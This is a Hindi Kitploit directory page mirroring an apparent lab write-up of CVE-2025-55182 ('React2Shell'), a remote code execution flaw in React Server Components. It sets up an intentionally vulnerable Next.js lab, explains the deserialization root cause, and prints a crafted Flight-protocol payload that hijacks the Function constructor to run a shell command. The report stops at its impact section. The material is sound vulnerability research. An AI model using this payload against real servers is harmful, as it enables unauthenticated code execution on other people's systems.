Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182 — उर्फ React2Shell | Kitploit
उपकरण/GitHubGitHub/ycseo-git/cve-2025-55182
कंटेनर सुरक्षागतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubycseo-git/cve-2025-55182
154 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182

उर्फ React2Shell

रिपॉजिटरी देखें

CVE-2025-55182 React2Shell विश्लेषण रिपोर्ट

असाइनमेंट दिशानिर्देशों द्वारा आवश्यक अनुभागों को “(Required)” से चिह्नित किया गया है।

1. पर्यावरण (Required)

1.1. Dockerfile (Required)

यह वातावरण आधिकारिक Node.js Alpine इमेज पर आधारित एक कस्टम Dockerfile का उपयोग करता है।

FROM node:20-alpine

WORKDIR /app

COPY package.json ./
RUN npm install --legacy-peer-deps

COPY . .

EXPOSE 3000

CMD ["npm", "run", "dev"]

Dockerfile एक कमजोर React Server Components (RSC) और Next.js App Router वातावरण बनाता है।

वातावरण निम्नलिखित के कमजोर संस्करण स्थापित करता है:

  • React 19 RC
  • React Server DOM Webpack
  • Next.js 15.0.0

कमजोर सर्वर npm run dev का उपयोग करके डेवलपमेंट मोड में चलता है।

कमजोर सर्वर npm run dev का उपयोग करके डेवलपमेंट मोड में चलता है।


1.2. सेवा आर्किटेक्चर (Required)

वातावरण निम्नलिखित संरचना का उपयोग करके संचालित होता है:

[Attacker / exploit.py]
          ↓
[Next.js App Router]
          ↓
[React Flight Protocol Parser]
          ↓
[React Server Components Runtime]
          ↓
[Node.js Runtime]

हमलावर / exploit.py

हमलावर कमजोर Next.js एप्लिकेशन को एक विशेष रूप से तैयार multipart/form-data अनुरोध भेजता है।

दुर्भावनापूर्ण पेलोड React Flight प्रोटोकॉल डिसीरियलाइज़ेशन प्रक्रिया का दुरुपयोग करता है।

Next.js App Router

कमजोर एप्लिकेशन Next.js App Router आर्किटेक्चर का उपयोग करता है।

अनुरोध React Server Components पाइपलाइन के माध्यम से संसाधित किया जाता है।

एप्लिकेशन का सोर्स कोड src/app/ निर्देशिका के अंदर संग्रहीत किया जाता है।

src/
 └── app/
     ├── layout.js
     └── page.js

layout.js फ़ाइल App Router संरचना के लिए आवश्यक रूट लेआउट को परिभाषित करती है और React Server Components वातावरण को आरंभ करती है।

export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>);
}

page.js फ़ाइल / पर प्रस्तुत किए जाने वाले रूट पेज को परिभाषित करती है और एक सरल संदेश प्रदर्शित करती है जो दर्शाता है कि कमजोर सर्वर चल रहा है।

export default function Page() {
    return (<h1>Vulnerable Server</h1>);
  }

प्रोजेक्ट निर्भरताएँ और निष्पादन स्क्रिप्ट package.json फ़ाइल के माध्यम से प्रबंधित की जाती हैं।

{
    "name": "cve-2025-55182-vuln-app",
    "version": "1.0.0",
    "private": true,
    "scripts": {
        "dev": "next dev -p 3000"
    },
    "dependencies": {
        "next": "15.0.0",
        "react": "19.0.0-rc-65a56d0e-20241020",
        "react-dom": "19.0.0-rc-65a56d0e-20241020",
        "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
    }
}

यह फ़ाइल निम्नलिखित के कमजोर संस्करणों को परिभाषित करती है:

  • Next.js
  • React
  • react-dom
  • react-server-dom-webpack

कमजोर एप्लिकेशन का उपयोग करके निष्पादित किया जाता है:

"scripts": {
  "dev": "next dev"
}

सर्वर के माध्यम से शुरू किया जाता है:

npm run dev

जो पोर्ट 3000 पर कमजोर Next.js डेवलपमेंट सर्वर को लॉन्च करता है।

React Flight Protocol पार्सर

Flight प्रोटोकॉल जटिल React ऑब्जेक्ट्स को डिसीरियलाइज़ करता है जैसे:

  • Promise संदर्भ
  • Blob संदर्भ
  • Chunk संदर्भ
  • सर्वर क्रियाएँ
  • सर्कुलर संदर्भ

इस डिसीरियलाइज़ेशन प्रक्रिया के दौरान भेद्यता उत्पन्न होती है।

React Server Components Runtime

React रनटाइम हमलावर-नियंत्रित Flight पेलोड को प्रोसेस करता है।

असुरक्षित प्रॉपर्टी ट्रैवर्सल और प्रोटोटाइप एक्सेस अंततः हमलावरों को Function कंस्ट्रक्टर को हाईजैक करने की अनुमति देते हैं।

Node.js Runtime

सफल शोषण के बाद, Node.js सर्वर वातावरण के अंदर मनमाना JavaScript कोड निष्पादित होता है।

यह रिमोट कोड एक्सिक्यूशन (RCE) की ओर ले जाता है।


1.3. इमेजेज़ और संस्करण (Required)

घटकसंस्करण
Node.js20-alpine
Next.js15.0.0
React19.0.0-rc
react-dom19.0.0-rc
react-server-dom-webpack19.0.0-rc

वातावरण कमजोर React Server Components और Flight प्रोटोकॉल कार्यान्वयन का उपयोग करता है।

2. मूल कारण (Required)

2.1. भेद्यता विवरण (Required)

CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड एक्सिक्यूशन (RCE) भेद्यता है जो React Server Components और React Flight प्रोटोकॉल को प्रभावित करती है।

यह भेद्यता हमलावर-नियंत्रित Flight प्रोटोकॉल पेलोड के डिसीरियलाइज़ेशन प्रक्रिया के दौरान उत्पन्न होती है।

यह समस्या हमलावरों को अनुमति देती है:

  • नकली चंक ऑब्जेक्ट बनाना
  • प्रोटोटाइप ट्रैवर्सल का दुरुपयोग करना
  • Function कंस्ट्रक्टर को हाईजैक करना
  • सर्वर पर मनमाना JavaScript कोड निष्पादित करना

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि इसका शोषण एकल तैयार HTTP अनुरोध का उपयोग करके प्रमाणीकरण के बिना हो सकता है।

कमजोर React Server Components और Next.js App Router कॉन्फ़िगरेशन का उपयोग करने वाले एप्लिकेशन सीधे उजागर होते हैं।


2.2. मूल कारण विश्लेषण (Required)

भेद्यता का मूल कारण Flight प्रोटोकॉल डिसीरियलाइज़ेशन के दौरान हमलावर-नियंत्रित ऑब्जेक्ट संदर्भों का असुरक्षित हैंडलिंग है।

React Flight आंतरिक रूप से विशेष संदर्भ स्ट्रिंग का उपयोग करता है जैसे:

$@0
$B1337
$1:__proto__:then

ये संदर्भ डिसीरियलाइज़ेशन के दौरान पुनरावर्ती रूप से हल किए जाते हैं।

कमजोर तर्क इसके समान प्रॉपर्टी ट्रैवर्सल करता है:

value[path[i]]

यह जांचे बिना कि प्रॉपर्टी ऑब्जेक्ट की अपनी है या नहीं।

परिणामस्वरूप, हमलावर खतरनाक JavaScript प्रोटोटाइप चेन प्रॉपर्टीज़ तक पहुँच सकते हैं जैसे:

__proto__
constructor
prototype

यह अंततः प्रोटोटाइप प्रदूषण और Function कंस्ट्रक्टर हाईजैकिंग की अनुमति देता है।

नकली चंक निर्माण

हमलावर पहले एक नकली React चंक ऑब्जेक्ट बनाता है।

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "touch /tmp/success.txt",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

महत्वपूर्ण फ़ील्ड है:

"status": "resolved_model"

React रनटाइम गलत तरीके से इस फ़ील्ड पर भरोसा करता है और हमलावर-नियंत्रित ऑब्जेक्ट को एक वैध आंतरिक चंक ऑब्जेक्ट के रूप में मानता है।

प्रोटोटाइप प्रदूषण

पेलोड:

$1:__proto__:then

डिसीरियलाइज़र को JavaScript प्रोटोटाइप चेन को ट्रैवर्स करने का कारण बनता है।

क्योंकि कमजोर कोड खतरनाक प्रॉपर्टीज़ को मान्य नहीं करता, हमलावर को एक्सेस मिलता है:

Chunk.prototype.then

यह नकली चंक को एक thenable ऑब्जेक्ट में बदल देता है।

Function कंस्ट्रक्टर हाईजैकिंग

पेलोड:

$1:constructor:constructor

अंततः हल होता है:

Function

यह प्रतिस्थापित करता है:

response._formData.get

ग्लोबल JavaScript Function कंस्ट्रक्टर के साथ।

परिणामस्वरूप:

Function(attacker_controlled_payload)

संभव हो जाता है।

Blob पार्सिंग ट्रिगर

पेलोड:

$B1337

React Flight पार्सर को Blob पार्सिंग लॉजिक में मजबूर करता है।

इस प्रक्रिया के दौरान:

response._formData.get(...)

निष्पादित होता है।

हालाँकि, हमलावर ने पहले ही इस फ़ंक्शन को ग्लोबल Function कंस्ट्रक्टर से बदल दिया है।

यह अंततः Node.js रनटाइम के अंदर मनमाना JavaScript निष्पादन में परिणत होता है।


2.3. भेद्यता ट्रिगर प्रक्रिया (Required)

शोषण प्रक्रिया निम्नलिखित क्रम में होती है:

Attacker Request
        ↓
Flight Payload Parsing
        ↓
Fake Chunk Creation
        ↓
Prototype Pollution
        ↓
Function Constructor Hijacking
        ↓
Blob Parsing Trigger
        ↓
Promise Resolution
        ↓
Remote Code Execution

हमलावर पहले एक तैयार मल्टीपार्ट Flight अनुरोध भेजता है।

कमजोर सर्वर दुर्भावनापूर्ण पेलोड को डिसीरियलाइज़ करता है और हमलावर-नियंत्रित संदर्भों को पुनरावर्ती रूप से हल करता है।

असुरक्षित प्रोटोटाइप ट्रैवर्सल अंततः हमलावर को Function कंस्ट्रक्टर को हाईजैक करने की अनुमति देता है।

Promise रिज़ॉल्यूशन और Blob पार्सिंग के दौरान, मनमाना JavaScript कोड निष्पादित होता है।


2.4. आक्रमण प्रवाह और प्रभाव (Required)

टूल डाउनलोड करें